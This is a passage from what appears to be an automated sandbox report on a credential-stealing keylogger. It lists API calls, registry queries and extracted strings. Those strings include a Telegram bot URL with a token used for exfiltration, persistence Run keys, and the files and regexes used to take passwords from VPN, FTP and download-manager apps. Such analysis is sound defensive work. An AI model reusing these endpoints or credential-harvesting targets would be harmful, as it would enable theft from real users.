"MapViewOfFile"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "CryptImportKey"; Source: "00000000-00006808.00000000.103030.02EE0000.00000004.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "GetVolumeInformationA"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "MoveFileExW"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "GetWindowThreadProcessId"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "GetProcessById"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "IsTextUnicode"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "VaultFree"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "SendMessage"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "GetEnvironmentVariable"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "SetEnvironmentVariable"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "GetModuleHandle"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "DeleteFile"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "GetTempFileName"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "GetKeyboardState"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "GetPrivateProfileString"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "CompareString"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "GetTempPath"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "GetWindowTextLength"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "VaultGetItem"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "GetLastInputInfo"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "BCryptCloseAlgorithmProvider"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "BCryptOpenAlgorithmProvider"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "EnumProcessModules"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "VaultEnumerateItems"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "GetObject"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp, 00000000-00007972.00000000.103107.00E52000.00000002.mdmp") Found reference to API (Indicator: "VaultCloseVault"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "VaultOpenVault"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "GetParent"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "BCryptDecrypt"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "BCryptEncrypt"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "GetKeyboardLayout"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "GetWindowText"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "GetForegroundWindow"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "ToUnicodeEx"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "GetModuleFileNameEx"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "RegQueryValueEx"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "UnhookWindowsHookEx"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "SetWindowsHookEx"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "CallNextHookEx"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "RegOpenKeyEx"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "MapVirtualKey"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "BCryptImportKey"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "BCryptDestroyKey"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "CreateDirectory"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "BCryptGetProperty"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "BCryptSetProperty"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API (Indicator: "MessageBox"; Source: "00000000-00007972.00000000.103107.00E52000.00000002.mdmp") Found reference to API (Indicator: "SeDebugPrivilege"; Source: "00000000-00007972.00000000.103107.05190000.00000004.mdmp") Found reference to API (Indicator: "GetErrorInfo"; Source: "00000000-00007972.00000000.103107.05190000.00000004.mdmp")34:T4d67,"Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 26830-149-00CCD560 "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 26830-182-00CC8190 "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 26830-182-00CC8190 "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 26830-182-00CC8190 "SOFTWARE\Microsoft\PowerShell\3" in Source: 26830-184-00CCBFA2 "SOFTWARE\Microsoft\PowerShell" in Source: 26830-195-00CC8AF0 "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00000336.00000000.102479.056C0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00000336.00000000.102479.056C0000.00000004.mdmp "Software\Microsoft\.NETFramework" in Source: 00000000-00000336.00000000.102479.056C0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework" in Source: 00000000-00000336.00000000.102479.056C0000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 001" in Source: 00000000-00003052.00000000.103005.00660000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00003052.00000000.103005.00CC1000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00003052.00000000.103005.00CC1000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00003052.00000000.103005.00CC1000.00000020.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00003052.00000000.103005.00CC1000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00003052.00000000.103005.00CC1000.00000020.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00003052.00000000.103005.00CC1000.00000020.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00007972.00000000.103107.05190000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion\InstallationType" in Source: 00000000-00007972.00000000.103107.05190000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00007972.00000000.103107.05190000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00007972.00000000.103107.05190000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00007972.00000000.103107.05190000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v{0}" in Source: 00000000-00007972.00000000.103107.05190000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\S" in Source: 00000000-00007972.00000000.103107.05190000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00007972.00000000.103107.05190000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00007972.00000000.103107.05190000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPooling" in Source: 00000000-00007972.00000000.103107.05190000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseStrictRfcInterimResponseHandli" in Source: 00000000-00007972.00000000.103107.05190000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseSafeSynchronousClose" in Source: 00000000-00007972.00000000.103107.05190000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseStrictRfcInterimResponseHandling" in Source: 00000000-00007972.00000000.103107.05190000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SecurityProtocolteEKUsponseHandli" in Source: 00000000-00007972.00000000.103107.05190000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowDangerousUnicodeDecompositions" in Source: 00000000-00007972.00000000.103107.05190000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.UseStrictIPv6AddressParsing" in Source: 00000000-00007972.00000000.103107.05190000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowAllUriEncodingExpansion" in Source: 00000000-00007972.00000000.103107.05190000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SchSendAuxRecord" in Source: 00000000-00007972.00000000.103107.05190000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.RequireCertificateEKUs" in Source: 00000000-00007972.00000000.103107.05190000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SecurityProtocol" in Source: 00000000-00007972.00000000.103107.05190000.00000004.mdmp "500 -Windows RDPcredentialpolicyblobrdgchrome{{{0}}}LengthCopyToComputeHashsha512CopyMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.03520https://api.telegram.org/bot5409839916:AAEYUYZy0IhJQAm4VXi620si4okGW8FDL2w/-675581850yyyy-MM-dd HH:mm:ssyyyy_MM_dd_HH_mm_ss

https://api.ipify.org%appdataImageImage.exe/http://eqadwZ.com\VRzSoftware\Microsoft\Windows\CurrentVersion\RunSOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\RunSCSC__.jpegScreenshotimage/jpeg/log.tmpKLKL_.htmlLogtext/html[],URL:Username:Password:Application:PWPW_" in Source: 00000000-00007972.00000000.103107.05190000.00000004.mdmp "MySQL Workbench%ProgramW6432%Private Internet Access\data\Private Internet Access\data\account.json.*"username":"(.*?)".*"password":"(.*?)"Private Internet AccessSoftware\DownloadManager\Passwords\EncPasswordInternet Download Managerhdfzpysvpzimorhkquick.datSites.dat\FlashFXP\yA36zA48dEhfrvghGRg57h5UlDv3TypeValueIterationCount\Psi\profiles\Psi+\profiles\accounts.xmlUSERPROFILE\OpenVPN\config\remote PWD=+-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz5A71abc" in Source: 00000000-00007972.00000000.103107.05190000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|ArpAlwaysSourceRoute" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|ArpUseEtherSNAP" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|DatabasePath" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|EnableDeadGWDetect" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|System\CurrentControlSet\Services|Parameters|DefaultGateway" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|DefaultTOS" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|DefaultTTL" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services|EnableDHCP" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services|LeaseTerminatesTime" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services|LeaseObtainedTime" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services|DhcpServer" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|Domain" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|SearchList" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|EnableDNS" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|Hostname" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|NameServer" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|ForwardBufferMemory" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|IGMPLevel" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|System\CurrentControlSet\Services|Parameters\Tcpip|IPAddress" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|System\CurrentControlSet\Services|Parameters\Tcpip" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|IPFilterSecurityEnabled" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|RawIPAllowedProtocols" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|TCPAllowedPorts" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|UDPAllowedPorts" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|System\CurrentControlSet\Services|Parameters|SubnetMask" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|UseZeroBroadcast" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\nwlnkipx\Parameters|PktType" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\nwlnkipx\Parameters|MediaType" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\nwlnkipx\Parameters|NetworkNumber" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\nwlnkipx\Parameters|VirtualNetworkNumber" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|KeepAliveInterval" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|MTU" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|NumForwardPackets" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|EnablePMTUBHDetect" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|EnablePMTUDiscovery" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion\NetworkCards|ServiceName" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|TcpMaxConnectRetransmissions" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|TcpMaxDataRetransmissions" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|TcpNumConnections" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|TcpUseRFC1122UrgentPointer" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|TcpWindowSize" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|EnableLMHOSTS" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|ScopeID" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Netbt\Parameters|EnableDNS" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Netbt\Parameters|EnableLMHOSTS" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Netbt\Parameters|ScopeID" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services|Tcpip\Parameters\Interfaces|TCPAllowedPorts" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services|Tcpip\Parameters\Interfaces|UDPAllowedPorts" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services|Tcpip\Parameters\Interfaces|RawIPAllowedProtocols" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services|Tcpip\Parameters\Interfaces" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\nwlnkipx\Parameters" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\nwlnkipx\Parameters\Adapters|NetworkNumber" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\nwlnkipx\Parameters\Adapters|PktType" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\nwlnkipx\Parameters\Adapters" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Se" in Source: 00000000-00007972.00000001.105025.03530000.00000004.mdmp 00000000-00007972.00000002.106946.035BB000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|ProductId" in Source: 00000000-00007972.00000001.105025.08E50000.00000004.mdmp 00000000-00007972.00000002.106946.08E50000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows\CurrentVersion|CurrentType" in Source: 00000000-00007972.00000001.105025.08E50000.00000004.mdmp 00000000-00007972.00000002.106946.08E50000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\PriorityControl|Win32PrioritySeparation" in Source: 00000000-00007972.00000001.105025.08E50000.00000004.mdmp 00000000-00007972.00000002.106946.08E50000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows\CurrentVersion|RegisteredOrganization" in Source: 00000000-00007972.00000001.105025.08E50000.00000004.mdmp 00000000-00007972.00000002.106946.08E50000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\ProductOptions|ProductSuite" in Source: 00000000-00007972.00000001.105025.08E50000.00000004.mdmp 00000000-00007972.00000002.106946.08E50000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|Plus! ProductId" in Source: 00000000-00007972.00000001.105025.08E50000.00000004.mdmp 00000000-00007972.00000002.106946.08E50000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|Plus! VersionNumber" in Source: 00000000-00007972.00000001.105025.08E50000.00000004.mdmp 00000000-00007972.00000002.106946.08E50000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|RegisteredOwner" in Source: 00000000-00007972.00000001.105025.08E50000.00000004.mdmp 00000000-00007972.00000002.106946.08E50000.00000004.mdmp35:T238a,"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:ffffffffc0000135] "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:ffffffffc0000135] "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:ffffffffc0000135] "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" - [base:0; Status:ffffffffc0000135] "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll" - [base:0; Status:ffffffffc0000135] "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:ffffffffc0000135] "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:ffffffffc0000135] "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module 